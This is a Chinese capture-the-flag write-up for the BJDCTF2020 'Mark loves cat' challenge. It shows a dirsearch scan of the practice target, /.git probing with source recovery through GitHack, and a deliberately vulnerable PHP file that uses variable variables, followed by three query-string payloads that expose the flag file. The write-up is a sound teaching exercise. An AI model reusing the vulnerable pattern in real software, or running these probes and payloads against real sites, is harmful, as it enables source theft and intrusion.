[BJDCTF2020]Mark loves cat 1题目靶场
解题思路
启动靶场后的界面(进来后我个人觉得特别高级,毫无头绪)
个人寻找解题方向
------在网页界面中,找跳转链接 or 寻找SQL注入点
------最后我发现一个可以提交的界面,但好像没有任何作用(有点小失落)
------检查源代码,源代码没有任何问题(家人们开始头疼了)
------检查URL的目录,从目录入手
提交界面如下
提交后跳回开始的界面,可能存在SQL注入点(经过测试,SQL注入根本不存在)
URL目录
当你源代码,抓包等等操作之后,发现什么都没有。这时候不要执着了,可以换个方向寻找思路
这里使用工具dirsearch扫描目录,观察是否有信息的泄露(注意dirsearch的使用语句)
python dirsearch.py -u http://f719c4d2-ee90-4aaf-92fa-e81514fa9e91.node5.buuoj.cn:81/
------扫描完后发现没信息,(我现在变成大大头下士了)
------别慌Git源码的泄露还没有尝试过,再试试
测试小方法:在网址后加上/.git进行小测试,如果返回403状态码,说明是Git源码泄露
如图所示:
结论:此题目是Git源码泄露,需要使用GitHack获取信息,得到一个index.php
进入代码审计环节
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){ #foreach进行循坏,遍历POST,将数组中的值赋值给$y
$$x = $y;
}
foreach($_GET as $x => $y){ #foreach进行循坏,遍历GET,将数组中的值赋值给$y
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){#不能同时flag的值等于某个键名,那个键又是flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ #不能同时GET和POST都设置flag
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ #任意都能满足flag==='flag'
exit($is);
}
echo "the flag is: ".$flag;
PHP中部分函数进行解析
1.exit()函数
exit函数的作用是输出一则消息并且终止当前脚本。
例如: $handsome=flag;
exit($handsome); #输出flag
2. foreach()函数
foreach循环函数作用是用来遍历数组,foreach
循环在处理数组时非常灵活,因为它可以遍历索引数组和关联数组(键值对数组)。
核心解题思路
在flag.php中有提示
<?php
$flag = file_get_contents('/flag');
从index.php代码中有提示,flag在$flag中
echo "the flag is: ".$flag;
我们现在只需要输出$flag,即可得到我们想要的flag
------说明解题涉及到变量覆盖
------此题有三个不同的exit()输出方式,说明有三种变量覆盖方法,三种解法
核心解法1:$yds
upload为:
?yds=flag
GET传入后$x=yds&$y=flag,覆盖为$yds=$flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ #配置IF条件,确保执行exit($yds)
exit($yds); #保证$yds=$flag,输出$flag
}
这里没有添加flag参数,所以满足if条件。执行exit($flag)
核心解法2:$handsome
upload为:
?handsome=flag&flag=handsome
解:
第一步仍然是覆盖handsome,handsome=flag,得到$handsome=$flag
第二部如何满足if条件
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
这时$x=handsome&$y=flag。所以Get传入flag=handsome即可满足if条件。
并且执行变量覆盖代码后,
$flag=$handsome,而$handsome=$flag,所以并不影响flag值。
核心解法3:$is
upload为:
?is=flag&flag=flag
此题不管如何GET和POST传入都会触发变量覆盖
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
既然此题都能触发变量覆盖,那我在这里使用POST传入,可以获得flag吗?这里留下一个小思考题,我们一起在评论区交流讨论吧
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
is=flag是进行变量覆盖。flag=flag是为了满足if条件,执行exit($is)
最后$is=$flag达到我们想要的目的
同时$flag=$flag这对于我们需要的结果不产生影响
知识点小结:
- Git源码泄露,检测方法在网址后加上/.git 如果返回403状态码,说明是GIt源码泄露,并学会使用GitHack工具。
- PHP变量覆盖知识点,在PHP中有语法导致的变量覆盖、函数导致的变量覆盖、配置项导致的变量覆盖。此题只涉及到语法导致的变量覆盖
我清风 与诸君共勉,共创辉煌篇章。